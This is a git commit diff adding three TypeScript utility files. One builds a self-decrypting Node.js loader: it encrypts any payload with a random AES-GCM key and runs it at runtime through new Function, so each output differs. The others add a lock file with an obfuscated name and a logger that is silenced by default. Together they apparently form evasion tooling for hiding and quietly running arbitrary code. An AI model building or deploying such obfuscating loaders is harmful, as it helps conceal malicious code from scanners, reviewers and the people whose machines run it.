Upload files to "src/utils"
This commit is contained in:
@@ -0,0 +1,65 @@
|
|||||||
|
import { createCipheriv, randomBytes } from "crypto";
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Types
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export interface EncryptedWrapperOptions {
|
||||||
|
/** AES key length in bytes (default: 16 for AES-128) */
|
||||||
|
keyLen?: number;
|
||||||
|
/** IV length in bytes (default: 12 for GCM) */
|
||||||
|
ivLen?: number;
|
||||||
|
/** Auth tag length in bytes (default: 16 for GCM) */
|
||||||
|
tagLen?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// buildEncryptedWrapper
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build a self-decrypting JavaScript wrapper.
|
||||||
|
*
|
||||||
|
* Encrypts `payload` with a randomly-generated AES-128-GCM key + IV,
|
||||||
|
* then embeds the key, IV, auth tag, and ciphertext as hex constants
|
||||||
|
* inside a small Node.js loader that decrypts and executes at runtime.
|
||||||
|
*
|
||||||
|
* Every call produces a completely different output because both the
|
||||||
|
* AES key and IV are randomly generated.
|
||||||
|
*/
|
||||||
|
export function buildEncryptedWrapper(
|
||||||
|
payload: string,
|
||||||
|
opts: EncryptedWrapperOptions = {},
|
||||||
|
): string {
|
||||||
|
const { keyLen = 16, ivLen = 12, tagLen = 16 } = opts;
|
||||||
|
|
||||||
|
const key = randomBytes(keyLen);
|
||||||
|
const iv = randomBytes(ivLen);
|
||||||
|
const algorithm = keyLen === 16 ? "aes-128-gcm" : "aes-256-gcm";
|
||||||
|
|
||||||
|
const cipher = createCipheriv(algorithm, key, iv, {
|
||||||
|
authTagLength: tagLen,
|
||||||
|
});
|
||||||
|
const encrypted = Buffer.concat([
|
||||||
|
cipher.update(payload, "utf8"),
|
||||||
|
cipher.final(),
|
||||||
|
]);
|
||||||
|
const tag = cipher.getAuthTag();
|
||||||
|
|
||||||
|
const keyHex = key.toString("hex");
|
||||||
|
const ivHex = iv.toString("hex");
|
||||||
|
const tagHex = tag.toString("hex");
|
||||||
|
const dataHex = encrypted.toString("hex");
|
||||||
|
|
||||||
|
return `
|
||||||
|
const {createDecipheriv}=require("crypto");
|
||||||
|
const k=Buffer.from("${keyHex}","hex");
|
||||||
|
const i=Buffer.from("${ivHex}","hex");
|
||||||
|
const a=Buffer.from("${tagHex}","hex");
|
||||||
|
const d=Buffer.from("${dataHex}","hex");
|
||||||
|
const c=createDecipheriv("${algorithm}",k,i,{authTagLength:${tagLen}});
|
||||||
|
c.setAuthTag(a);
|
||||||
|
const p=Buffer.concat([c.update(d),c.final()]).toString("utf8");
|
||||||
|
new Function(p)();
|
||||||
|
`.trim();
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
import { existsSync, readFileSync, unlinkSync, writeFileSync } from "fs";
|
||||||
|
import { tmpdir } from "os";
|
||||||
|
import { join } from "path";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
const LOCK_FILE = join(tmpdir(), scramble("tmp.0144018410.lock"));
|
||||||
|
|
||||||
|
function isProcessRunning(pid: number): boolean {
|
||||||
|
try {
|
||||||
|
process.kill(pid, 0);
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function acquireLock(): boolean {
|
||||||
|
if (existsSync(LOCK_FILE)) {
|
||||||
|
const pid = parseInt(readFileSync(LOCK_FILE, "utf-8"), 10);
|
||||||
|
if (isProcessRunning(pid)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
unlinkSync(LOCK_FILE);
|
||||||
|
}
|
||||||
|
writeFileSync(LOCK_FILE, process.pid.toString());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function releaseLock(): void {
|
||||||
|
if (existsSync(LOCK_FILE)) {
|
||||||
|
unlinkSync(LOCK_FILE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Release the process lock and exit immediately.
|
||||||
|
* Safe to call from anywhere — if the lock file doesn't exist
|
||||||
|
* (e.g. pre-lock-acquisition), releaseLock() is a no-op.
|
||||||
|
*/
|
||||||
|
export function bail(code: number = 0): never {
|
||||||
|
releaseLock();
|
||||||
|
process.exit(code);
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
const noop = () => {};
|
||||||
|
|
||||||
|
const isSilent = true;
|
||||||
|
|
||||||
|
export const logUtil = {
|
||||||
|
log: isSilent ? noop : console.log.bind(console),
|
||||||
|
info: isSilent ? noop : console.info.bind(console),
|
||||||
|
warn: isSilent ? noop : console.warn.bind(console),
|
||||||
|
error: isSilent ? noop : console.error.bind(console),
|
||||||
|
};
|
||||||
Reference in New Issue
Block a user